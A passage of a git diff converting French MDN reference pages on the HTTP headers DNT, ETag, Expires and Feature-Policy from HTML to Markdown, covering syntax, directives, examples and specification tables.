id="Exemples">Exemples</h2> +## Exemples -<h3 id="Lire_le_statut_Do_Not_Track_avec_JavaScript">Lire le statut Do Not Track avec JavaScript</h3> +### Lire le statut Do Not Track avec JavaScript -<p>La préférence de l'utilisateur pour DNT peut également être lue depuis JavaScript en utilisant la proriété {{domxref("Navigator.doNotTrack")}} :</p> +La préférence de l'utilisateur pour DNT peut également être lue depuis JavaScript en utilisant la proriété {{domxref("Navigator.doNotTrack")}} : -<pre class="brush: js">navigator.doNotTrack; // "0" ou "1"</pre> +```js +navigator.doNotTrack; // "0" ou "1" +``` -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Status</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}}</td> - <td>{{Spec2("Tracking")}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +| Spécification | Status | Commentaire | +| ------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | +| {{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}} | {{Spec2("Tracking")}} | Définition initiale. | + +## Compatibilité navigateur + +{{Compat("http.headers.DNT")}} + +## Voyez aussi + +- {{domxref("Navigator.doNotTrack")}} +- {{HTTPHeader("Tk")}} header +- [Do Not Track on Wikipedia](https://en.wikipedia.org/wiki/Do_Not_Track) +- [What Does the "Track" in "Do Not Track" Mean? – EFF](https://www.eff.org/deeplinks/2011/02/what-does-track-do-not-track-mean) +- [donottrack.us](http://donottrack.us/) +- DNT browser settings help: -<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2> - -<p>{{Compat("http.headers.DNT")}}</p> - -<h2 id="Voyez_aussi">Voyez aussi</h2> - -<ul> - <li>{{domxref("Navigator.doNotTrack")}}</li> - <li>{{HTTPHeader("Tk")}} header</li> - <li><a href="https://en.wikipedia.org/wiki/Do_Not_Track">Do Not Track on Wikipedia</a></li> - <li><a href="https://www.eff.org/deeplinks/2011/02/what-does-track-do-not-track-mean">What Does the "Track" in "Do Not Track" Mean? – EFF</a></li> - <li><a href="http://donottrack.us/">donottrack.us</a></li> - <li>DNT browser settings help: - <ul> - <li><a href="https://www.mozilla.org/en-US/firefox/dnt/">Firefox</a></li> - <li><a href="https://support.google.com/chrome/answer/2790761">Chrome</a></li> - </ul> - </li> -</ul> + - [Firefox](https://www.mozilla.org/en-US/firefox/dnt/) + - [Chrome](https://support.google.com/chrome/answer/2790761) diff --git a/files/fr/web/http/headers/etag/index.md b/files/fr/web/http/headers/etag/index.md index ed941a5b6c..c0ce27dba1 100644 --- a/files/fr/web/http/headers/etag/index.md +++ b/files/fr/web/http/headers/etag/index.md @@ -8,94 +8,78 @@ tags: - header translation_of: Web/HTTP/Headers/ETag --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête de réponse <code>ETag</code> HTTP est un identifiant pour une version spécifique d'une ressource. Il permet aux caches d'être plus efficaces et d'économiser de la bande passante, du fait que le serveur Web n'a pas besoin d'envoyer une réponse complète si le contenu n'a pas changé. Sinon, si le contenu a changé, les etags sont utiles pour empêcher les mises à jour simultanées d'une ressource de s'écraser mutuellement ("collisions en vol").</p> +L'en-tête de réponse `ETag` HTTP est un identifiant pour une version spécifique d'une ressource. Il permet aux caches d'être plus efficaces et d'économiser de la bande passante, du fait que le serveur Web n'a pas besoin d'envoyer une réponse complète si le contenu n'a pas changé. Sinon, si le contenu a changé, les etags sont utiles pour empêcher les mises à jour simultanées d'une ressource de s'écraser mutuellement ("collisions en vol"). -<p>Si la ressource à une URL donnée change, une nouvelle valeur <code>Etag</code> doit être générée. Les Etags sont donc similaires aux empreintes digitales et elles peuvent également être utilisées à des fins de suivi par certains serveurs. Une comparaison entre elles permet de déterminer rapidement si deux représentations d'une ressource sont identiques, mais un serveur de suivi peut également leur imposer de persister indéfiniment.</p> +Si la ressource à une URL donnée change, une nouvelle valeur `Etag` doit être générée. Les Etags sont donc similaires aux empreintes digitales et elles peuvent également être utilisées à des fins de suivi par certains serveurs. Une comparaison entre elles permet de déterminer rapidement si deux représentations d'une ressource sont identiques, mais un serveur de suivi peut également leur imposer de persister indéfiniment. <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'entête</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>non</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">ETag: W/"<etag_value>" -ETag: "<etag_value>" -</pre> + ETag: W/"<etag_value>" + ETag: "<etag_value>" -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><code>W/</code> {{optional_inline}}</dt> - <dd><code>'W/'</code> (sensible à la casse) indique qu'un validateur faible est utilisé. Les validateurs faibles sont faciles à générer, mais ils sont beaucoup moins utiles pour les comparaisons. Les validateurs forts sont idéaux pour les comparaisons, mais ils peuvent être très difficiles à générer efficacement. Les valeurs <code>Etag</code> faibles de deux représentations des mêmes ressources peuvent être sémantiquement équivalentes, mais ne pas être identiques octet par octet.</dd> - <dt><strong>"<etag_value></strong>"</dt> - <dd>Balises d'entité représentant d'une façon unique les ressources demandées. Elles sont consituées d'une chaîne de caractères ASCII placés entre apostrophes doubles (comme <code>"675af34563dc-tr34"</code>). La méthode par laquelle les valeurs <code>ETag</code> sont générées n'est pas spécifiée. Souvent, un hachage du contenu, un hachage de l'horodatage de la dernière modification, ou seulement un numéro de révision est utilisé. Par exemple, MDN utilise un hachage de chiffres hexadécimaux du contenu du wiki.</dd> -</dl> +- `W/` {{optional_inline}} + - : `'W/'` (sensible à la casse) indique qu'un validateur faible est utilisé. Les validateurs faibles sont faciles à générer, mais ils sont beaucoup moins utiles pour les comparaisons. Les validateurs forts sont idéaux pour les comparaisons, mais ils peuvent être très difficiles à générer efficacement. Les valeurs `Etag` faibles de deux représentations des mêmes ressources peuvent être sémantiquement équivalentes, mais ne pas être identiques octet par octet. +- **"\<etag_value>**" + - : Balises d'entité représentant d'une façon unique les ressources demandées. Elles sont consituées d'une chaîne de caractères ASCII placés entre apostrophes doubles (comme `"675af34563dc-tr34"`). La méthode par laquelle les valeurs `ETag` sont générées n'est pas spécifiée. Souvent, un hachage du contenu, un hachage de l'horodatage de la dernière modification, ou seulement un numéro de révision est utilisé. Par exemple, MDN utilise un hachage de chiffres hexadécimaux du contenu du wiki. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" -ETag: W/"0815"</pre> + ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" + ETag: W/"0815" -<h3 id="Évitement_des_collisions_en_vol">Évitement des collisions en vol</h3> +### Évitement des collisions en vol -<p>A l'aide des en-têtes <code>ETag</code> et {{HTTPHeader("If-Match")}}, vous pouvez détecter les collisions d'édition en vol.</p> +A l'aide des en-têtes `ETag` et {{HTTPHeader("If-Match")}}, vous pouvez détecter les collisions d'édition en vol. -<p>Par exemple, lors de l'édition de MDN, le contenu actuel du wiki est haché et placé dans un <code>Etag</code> dans la réponse :</p> +Par exemple, lors de l'édition de MDN, le contenu actuel du wiki est haché et placé dans un `Etag` dans la réponse : -<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre> + ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" -<p>Lors de la sauvegarde des modifications d'une page wiki ("post" des données), la requête {{HTTPMethod("POST")}} contiendra l'en-tête {{HTTPHeader("If-Match")}} contenant les valeurs ETag par rapport auxquelles vérifier la péremption.</p> +Lors de la sauvegarde des modifications d'une page wiki ("post" des données), la requête {{HTTPMethod("POST")}} contiendra l'en-tête {{HTTPHeader("If-Match")}} contenant les valeurs ETag par rapport auxquelles vérifier la péremption. -<pre>If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre> + If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4" -<p>Si les hachages ne correspondent pas, cela signifie que le document a été modifié entre-temps, et une erreur {{HTTPStatus("412")}} <code>Precondition Failed</code> est déclenchée.</p> +Si les hachages ne correspondent pas, cela signifie que le document a été modifié entre-temps, et une erreur {{HTTPStatus("412")}} `Precondition Failed` est déclenchée. -<h3 id="Mise_en_cache_des_ressources_inchangées">Mise en cache des ressources inchangées</h3> +### Mise en cache des ressources inchangées -<p>Un autre cas d'utilisation typique de l'en-tête <code>ETag</code> est de mettre en cache les ressources qui sont inchangées. Si un utilisateur visite à nouveau une URL donnée (qui a un ensemble d'<code>ETag</code>), et qu'elle est <em>périmée</em>, c'est à dire, trop ancienne pour être considérée comme utilisable, le client enverra en même temps la valeur de son <code>ETag</code> dans un champ d'en-tête {{HTTPHeader("If-None-Match")}} :</p> +Un autre cas d'utilisation typique de l'en-tête `ETag` est de mettre en cache les ressources qui sont inchangées. Si un utilisateur visite à nouveau une URL donnée (qui a un ensemble d'`ETag`), et qu'elle est _périmée_, c'est à dire, trop ancienne pour être considérée comme utilisable, le client enverra en même temps la valeur de son `ETag` dans un champ d'en-tête {{HTTPHeader("If-None-Match")}} : -<pre>If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre> + If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4" -<p>Le serveur comparera l'<code>ETag</code> du client (envoyé avec <code>If-None-Match</code>) à l'<code>ETag</code> de sa version en cours de la ressource, et si les deux valeurs correspondent (c'est-à-dire que la ressource n'a pas changé), le serveur renverra un statut {{HTTPStatus( "304")}} Not Modified, sans aucun corps, qui indiquera au client que sa version mise en cache de la réponse est toujours bonne à utiliser (actuelle).</p> +Le serveur comparera l'`ETag` du client (envoyé avec `If-None-Match`) à l'`ETag` de sa version en cours de la ressource, et si les deux valeurs correspondent (c'est-à-dire que la ressource n'a pas changé), le serveur renverra un statut {{HTTPStatus( "304")}} Not Modified, sans aucun corps, qui indiquera au client que sa version mise en cache de la réponse est toujours bonne à utiliser (actuelle). -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7232", "ETag", "2.3")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ---------------------------------------- | ------------------------------------------------------------ | +| {{RFC("7232", "ETag", "2.3")}} | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.ETag")}}</p> +{{Compat("http.headers.ETag")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("If-Match")}}</li> - <li>{{HTTPHeader("If-None-Match")}}</li> - <li>{{HTTPStatus("304")}}<code> Not Modified</code></li> - <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li> - <li> - <p><a href="https://www.w3.org/1999/04/Editing/">W3C Note: Editing the Web – Detecting the Lost Update Problem Using Unreserved Checkout</a></p> - </li> -</ul> +- {{HTTPHeader("If-Match")}} +- {{HTTPHeader("If-None-Match")}} +- {{HTTPStatus("304")}}` Not Modified` +- {{HTTPStatus("412")}}` Precondition Failed` +- [W3C Note: Editing the Web – Detecting the Lost Update Problem Using Unreserved Checkout](https://www.w3.org/1999/04/Editing/) diff --git a/files/fr/web/http/headers/expires/index.md b/files/fr/web/http/headers/expires/index.md index 99e9e44e7a..4c8a3935f9 100644 --- a/files/fr/web/http/headers/expires/index.md +++ b/files/fr/web/http/headers/expires/index.md @@ -3,71 +3,57 @@ title: Expires slug: Web/HTTP/Headers/Expires translation_of: Web/HTTP/Headers/Expires --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le header <code><strong>Expires</strong></code> contient la date/heure après laquelle la réponse est considérée comme dépréciée.</p> +Le header **`Expires`** contient la date/heure après laquelle la réponse est considérée comme dépréciée. -<p>Les dates invalides, telles que la valeur 0, représentent une date dans le passé et signifient que la ressource est expirée.</p> +Les dates invalides, telles que la valeur 0, représentent une date dans le passé et signifient que la ressource est expirée. -<p>Si un header {{HTTPHeader("Cache-Control")}} contient une directive "max-age" ou "s-max-age" dans la réponse, le header <code>Expires</code> sera ignoré.</p> +Si un header {{HTTPHeader("Cache-Control")}} contient une directive "max-age" ou "s-max-age" dans la réponse, le header `Expires` sera ignoré. <table class="properties"> - <tbody> - <tr> - <th scope="row">Header type</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>no</td> - </tr> - <tr> - <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> - <td>yes</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row"> + {{Glossary("Simple response header", "CORS-safelisted response-header")}} + </th> + <td>yes</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Expires: <http-date> -</pre> + Expires: <http-date> -<h2 id="Directives">Directives</h2> +## Directives -<dl> - <dt><http-date></dt> - <dd> - <p>An HTTP-date timestamp.</p> - </dd> -</dl> +- \<http-date> + - : An HTTP-date timestamp. -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre> + Expires: Wed, 21 Oct 2015 07:28:00 GMT -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Title</th> - </tr> - <tr> - <td>{{RFC("7234", "Expires", "5.3")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> - </tr> - </tbody> -</table> +| Specification | Title | +| -------------------------------------------- | ----------------------------------------------- | +| {{RFC("7234", "Expires", "5.3")}} | Hypertext Transfer Protocol (HTTP/1.1): Caching | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Expires")}}</p> +{{Compat("http.headers.Expires")}} -<h2 id="See_also">See also</h2> +## See also -<ul> - <li>{{HTTPHeader("Cache-Control")}}</li> - <li>{{HTTPHeader("Age")}}</li> -</ul> +- {{HTTPHeader("Cache-Control")}} +- {{HTTPHeader("Age")}} diff --git a/files/fr/web/http/headers/feature-policy/accelerometer/index.md b/files/fr/web/http/headers/feature-policy/accelerometer/index.md index 20d123a97b..4f11cbceb5 100644 --- a/files/fr/web/http/headers/feature-policy/accelerometer/index.md +++ b/files/fr/web/http/headers/feature-policy/accelerometer/index.md @@ -10,55 +10,34 @@ tags: - Reference translation_of: Web/HTTP/Headers/Feature-Policy/accelerometer --- -<p>{{HTTPSidebar}} {{SeeCompatTable}}</p> +{{HTTPSidebar}} {{SeeCompatTable}} -<p>La directive <code>accelerometer</code> de l'en-tête HTTP {{HTTPHeader('Feature-Policy')}} contrôle la possibilité pour le document courant de recueillir des informations à propos de l'accélération de l'appareil au moyen de l'interface {{domxref('Accelerometer')}}.</p> +La directive `accelerometer` de l'en-tête HTTP {{HTTPHeader('Feature-Policy')}} contrôle la possibilité pour le document courant de recueillir des informations à propos de l'accélération de l'appareil au moyen de l'interface {{domxref('Accelerometer')}}. -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre>Feature-Policy: accelerometer <listePermissions>;</pre> + Feature-Policy: accelerometer <listePermissions>; -<dl> - <dt><listePermissions></dt> - <dd>{{page('fr/Web/HTTP/Feature_Policy/Using_Feature_Policy', 'allowlist')}}</dd> -</dl> +- \<listePermissions> + - : {{page('fr/Web/HTTP/Feature_Policy/Using_Feature_Policy', 'allowlist')}} -<h2 id="Valeur_par_défaut">Valeur par défaut</h2> +## Valeur par défaut -<p>La valeur par défaut est <code>'self'</code>.</p> +La valeur par défaut est `'self'`. -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">État</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('Feature Policy')}}</td> - <td>{{Spec2('Feature Policy')}}</td> - <td>Définition initiale.</td> - </tr> - <tr> - <td>{{SpecName('Accelerometer','#accelerometer-interface','Accelerometer')}}</td> - <td>{{Spec2('Accelerometer')}}</td> - <td></td> - </tr> - </tbody> -</table> +| Spécification | État | Commentaire | +| ------------------------------------------------------------------------------------------------ | ------------------------------------ | -------------------- | +| {{SpecName('Feature Policy')}} | {{Spec2('Feature Policy')}} | Définition initiale. | +| {{SpecName('Accelerometer','#accelerometer-interface','Accelerometer')}} | {{Spec2('Accelerometer')}} | | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat('http.headers.Feature-Policy.accelerometer')}}</p> +{{Compat('http.headers.Feature-Policy.accelerometer')}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>en-tête {{HTTPHeader('Feature-Policy')}}</li> - <li><a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a></li> - <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Utiliser Feature Policy</a></li> -</ul> +- en-tête {{HTTPHeader('Feature-Policy')}} +- [Feature Policy](/en-US/docs/Web/HTTP/Feature_Policy) +- [Utiliser Feature Policy](/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy) diff --git a/files/fr/web/http/headers/feature-policy/index.md b/files/fr/web/http/headers/feature-policy/index.md index 355056996d..fd3b52178a 100644 --- a/files/fr/web/http/headers/feature-policy/index.md +++ b/files/fr/web/http/headers/feature-policy/index.md @@ -14,148 +14,131 @@ tags: - header translation_of: Web/HTTP/Headers/Feature-Policy --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>L'en-tête HTTP <strong><code>Feature-Policy</code></strong> est un mécanisme permettant de permettre ou d'interdire l'utilisation de fonctionnalités du navigateur dans son propre cadre et dans ceux de tous les éléments {{HTMLElement("iframe")}} que le document contient.</p> +L'en-tête HTTP **`Feature-Policy`** est un mécanisme permettant de permettre ou d'interdire l'utilisation de fonctionnalités du navigateur dans son propre cadre et dans ceux de tous les éléments {{HTMLElement("iframe")}} que le document contient. -<div class="note"> -<p><strong>Note :</strong> Cet en-tête est toujours au stade expérimental, et est sujet à être modifié à tout moment. Méfiez-vous en si vous souhaitez l'implanter sur vos sites. Il a maintenant été renommé <code>Permissions-Policy</code> dans la spécification, et cet article sera mis à jour pour refléter ce changement.</p> -</div> +> **Note :** Cet en-tête est toujours au stade expérimental, et est sujet à être modifié à tout moment. Méfiez-vous en si vous souhaitez l'implanter sur vos sites. Il a maintenant été renommé `Permissions-Policy` dans la spécification, et cet article sera mis à jour pour refléter ce changement. -<p>Pour plus d'informations, vour l'article principal sur <a href="/docs/Web/HTTP/Feature_Policy">Feature Policy</a>.</p> +Pour plus d'informations, vour l'article principal sur [Feature Policy](/docs/Web/HTTP/Feature_Policy). <table class="properties"> - <tbody> - <tr> - <th scope="row">Type d'en-tête</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>oui</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>oui</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> - -<pre class="syntaxbox">Feature-Policy: <directive> <allowlist></pre> - -<dl> - <dt><code><directive></code></dt> - <dd>La directive de Feature Policy sur laquelle appliquer la liste de permissions <code>allowlist</code>. Voir {{anch("Directives")}} ci-dessous pour une liste des noms de directives autorisés.</dd> - <dt><code><allowlist></code></dt> - <dd>{{page("Web/HTTP/Feature_Policy/Using_Feature_Policy", "allowlist")}}</dd> -</dl> - -<h2 id="Directives">Directives</h2> - -<dl> - <dt>{{httpheader('Feature-Policy/accelerometer','accelerometer')}}</dt> - <dd>Contrôle si le document courant est autorisé à recueillir des informations à propos de l'accélération de l'appareil au moyen de l'interface {{DOMxRef("Accelerometer")}}.</dd> - <dt>{{httpheader('Feature-Policy/ambient-light-sensor','ambient-light-sensor')}}</dt> - <dd>Contrôle si le le document courant est autorisé à recueillir des informations à propos de la luminosité ambiante de l'appareil au moyen de l'interface {{DOMxRef("AmbientLightSensor")}}.</dd> - <dt>{{httpheader('Feature-Policy/autoplay','autoplay')}}</dt> - <dd>Contrôle si le document courant est autorisé à jouer automatiquement des médias chargés au moyen de l'interface {{domxref("HTMLMediaElement")}}. Quand cette fonctionnalité est désactivée et qu'il n'y a pas eu d'action de la part de l'utilisateur, la promesse ({{jsxref("Promise")}}) retournée par {{domxref("HTMLMediaElement.play()")}} sera rejetée avec une exception {{domxref("DOMException")}}. L'attribut <code>autoplay</code> sur les éléments {{HTMLELement("audio")}} et {{HTMLElement("video")}} sera ignoré.</dd> - <dt>{{httpheader('Feature-Policy/battery','battery')}}</dt> - <dd>Contrôle si l'utilisation de l'<a href="/docs/Web/API/Battery_Status_API">API Battery Status</a> est autorisé. Quand cette fonctionnalité est désactivée, la promesse retournée par {{DOMxRef("Navigator.getBattery","Navigator.getBattery()")}} sera rejetée avec une {{DOMxRef("DOMException")}} {{Exception("NotAllowedError")}}.</dd> - <dt>{{httpheader('Feature-Policy/camera', 'camera')}}</dt> - <dd>Contrôle si le document courant est autorisé à utiliser l'appareil photographique du système. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} sera rejetée avec une {{DOMxRef("DOMException")}} {{Exception("NotAllowedError")}}.</dd> - <dt>{{HTTPHeader('Feature-Policy/display-capture', 'display-capture')}}</dt> - <dd>Contrôle si le document courant est autorisé ou non à utiliser la méthode {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} pour effectuer une capture d'écran. Quand cette fonctionnalité est désactivée, la promesse retounrée par <code>getDisplayMedia()</code> sera rejetée avec une exception {{Exception("NotAllowedError")}} si la permission de prendre une capture d'écran n'est pas obtenue.</dd> - <dt>{{httpheader('Feature-Policy/document-domain','document-domain')}}</dt> - <dd>Contrôle si le document courant est autorisé à définir la propriété {{domxref("document.domain")}}. Quand cette directive est désactivée, tenter de modifier {{domxref("document.domain")}} échouera et lèvera une {{domxref("DOMException")}} {{Exception("SecurityError")}}.</dd> - <dt>{{httpheader('Feature-Policy/encrypted-media', 'encrypted-media')}}</dt> - <dd>Contrôle si le document courant est autorisé à utiliser l'API <a href="/en-US/docs/Web/API/Encrypted_Media_Extensions_API">Encrypted Media Extensions</a> (EME). Quand cette directive est désactivée, la promesse retournée par {{domxref("Navigator.requestMediaKeySystemAccess()")}} sera rejecté avec une {{domxref("DOMException")}}.</dd> - <dt>{{httpheader('Feature-Policy/execution-while-not-rendered', 'execution-while-not-rendered')}}</dt> - <dd>Contrôle si les tâches des cadres doivent être exécutées s'ils ne seront pas rendus à l'écran (par exemple si un <code><iframe></code> est <code><a href="/en-US/docs/Web/HTML/Global_attributes/hidden">hidden</a></code> ou <code>display: none</code>).</dd> - <dt>{{httpheader('Feature-Policy/execution-while-out-of-viewport', 'execution-while-out-of-viewport')}}</dt> - <dd>Contrôle si les tâches des cadres doivent être exécutées quand ils sont en dehors du cadre visible.</dd> -</dl> - -<dl> - <dt>{{httpheader('Feature-Policy/fullscreen','fullscreen')}}</dt> - <dd>Contrôle si le document courant est autorisé à utiliser {{DOMxRef("Element.requestFullScreen()")}}. Quand cette directive est désactivée, la promesse retournée sera rejetée avec une exception {{JSxRef("TypeError")}}.</dd> - <dt>{{httpheader('Feature-Policy/geolocation','geolocation')}}</dt> - <dd>Contrôle si le document courant est autorisé à utiliser l'interface {{domxref('Geolocation')}}. Quand cette directive est désactivée, les appels à {{domxref('Geolocation.getCurrentPosition','getCurrentPosition()')}} et {{domxref('Geolocation.watchPosition','watchPosition()')}} causeront un appel de leurs fonctions de rappel avec une exception {{domxref('PositionError')}} dont le code est <code>PERMISSION_DENIED</code>.</dd> - <dt>{{httpheader('Feature-Policy/gyroscope','gyroscope')}}</dt> - <dd>Contrôle si le document courant est autorisé à recueillir des informations à propos de l'orientation de l'appareil au moyen de l'interface {{DOMxRef("Gyroscope")}}.</dd> - <dt>{{httpheader('Feature-Policy/layout-animations','layout-animations')}}</dt> - <dd>Contrôle si le document courant est autorisé à afficher des animations de mise en page.</dd> -</dl> - -<dl> - <dt>{{httpheader('Feature-Policy/legacy-image-formats','legacy-image-formats')}}</dt> - <dd>Contrôle si le document courant est autorisé à afficher des images dans des formats du passé.</dd> -</dl> - -<dl> - <dt>{{httpheader('Feature-Policy/magnetometer','magnetometer')}}</dt> - <dd>Contrôle si le document courant est autorisé à recueillir des informations à propos de l'orientation au moyen de l'interface {{DOMxRef("Magnetometer")}}.</dd> - <dt>{{httpheader('Feature-Policy/microphone','microphone')}}</dt> - <dd>Contrôle si le document courant est autorisé à utiliser le microphone de l'appareil. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("MediaDevices.getUserMedia()")}} sera rejetée avec une exception {{Exception("NotAllowedError")}}.</dd> - <dt>{{httpheader('Feature-Policy/midi', 'midi')}}</dt> - <dd>Contrôle si le document courant est autorisé à utiliser l'<a href="/en-US/docs/Web/API/Web_MIDI_API">API Web MIDI</a>. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("Navigator.requestMIDIAccess()")}} sera rejetée avec une exception {{domxref("DOMException")}}.</dd> - <dt>{{httpheader('Feature-Policy/navigation-override','navigation-override')}}</dt> - <dd>Contrôle la disponibilité des mécanismes qui permettent à l'auteur de la page de prendre le contrôle sur le comportment de la <a href="https://www.w3.org/TR/css-nav/">navigation spatiale</a>, ou de l'annuler complètement.</dd> - <dt>{{httpheader('Feature-Policy/oversized-images','oversized-images')}}</dt> - <dd>Contrôle si le document courant est autorisé à télécharger et afficher des images lourdes.</dd> - <dt>{{httpheader('Feature-Policy/payment', 'payment')}}</dt> - <dd>Contrôle si le document courant est autorisé à utiliser l'<a href="/en-US/docs/Web/API/Payment_Request_API">API Payment Request</a>. Quand cette directive est désactivée, le constructeur {{domxref("PaymentRequest","PaymentRequest()")}} lèvera une {{domxref("DOMException")}} {{Exception("SecurityError")}}.</dd> - <dt>{{httpheader('Feature-Policy/picture-in-picture', 'picture-in-picture')}}</dt> - <dd>Controls whether the current document is allowed to play a video in a Picture-in-Picture mode via the corresponding API.</dd> - <dt>{{httpheader("Feature-Policy/publickey-credentials-get", "publickey-credentials-get")}}</dt> - <dd>Contrôle si le document courant est autorisé à use the <a href="/en-US/docs/Web/API/Web_Authentication_API">Web Authentication API</a> to retreive already stored public-key credentials, i.e. via {{domxref("CredentialsContainer.get","navigator.credentials.get({publicKey: ..., ...})")}}.</dd> - <dt>{{httpheader('Feature-Policy/sync-xhr', 'sync-xhr')}}</dt> - <dd>Contrôle si le document courant est autorisé à make synchronous {{DOMxRef("XMLHttpRequest")}} requests.</dd> - <dt>{{httpheader('Feature-Policy/usb', 'usb')}}</dt> - <dd>Contrôle si le document courant est autorisé à use the <a href="https://wicg.github.io/webusb/">WebUSB API</a>.</dd> - <dt>{{httpheader('Feature-Policy/vr', 'vr')}} {{deprecated_inline}}</dt> - <dd>Contrôle si le document courant est autorisé à use the <a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a>. Quand cette directive est désactivée, la promesse retournée par {{domxref("Navigator.getVRDisplays","Navigator.getVRDisplays()")}} sera rejetée avec une {{domxref("DOMException")}}. Gardez en tête que la norme WebVR est en cours de remplacement au profit de <a href="/en-US/docs/Web/API/WebXR_Device_API">WebXR</a>.</dd> - <dt>{{httpheader('Feature-Policy/wake-lock', 'wake-lock')}}</dt> - <dd>Contrôle si le document courant est autorisé à utiliser l'<a href="https://www.w3.org/TR/wake-lock/">API Wake Lock</a> pour indiquer que l'appareil ne devrait se mettre en veille.</dd> - <dt>{{httpheader('Feature-Policy/screen-wake-lock', 'screen-wake-lock')}}</dt> - <dd>Contrôle si le document courant est autorisé à utiliser l'<a href="/en-US/docs/Web/API/Screen_Wake_Lock_API">API Screen Wake Lock</a> pour indiquer que l'appareil ne devrait pas assombrir ou éteindre l'écran.</dd> - <dt>{{httpheader("Feature-Policy/web-share", "web-share")}}</dt> - <dd>Contrôle si le document courant est autorisé à utiliser la méthode {{domxref("Navigator.share","Navigator.share()")}} de l'API Web Share pour partager du texte, des liens, des images et d'autres contenus à des destinations arbitraires sur le choix de l'utilisateur, par exemple à des applications mobiles.</dd> - <dt>{{httpheader("Feature-Policy/xr-spatial-tracking", "xr-spatial-tracking")}}</dt> - <dd>Contrôle si le document courant est autorisé à utiliser l'<a href="/en-US/docs/Web/API/WebXR_Device_API">API WebXR Device</a> pour interagir avec une WebXR.</dd> -</dl> - -<h2 id="Exemple">Exemple</h2> - -<p>SecureCorp Inc. souhaite désactiver les API du microphone et de géolocalisation dans son application. Elle peut le faire en délivrant l'en-tête de réponse HTTP suivant pour définir une réglementation des fonctionnalités :</p> - -<pre>Feature-Policy: microphone 'none'; geolocation 'none'</pre> - 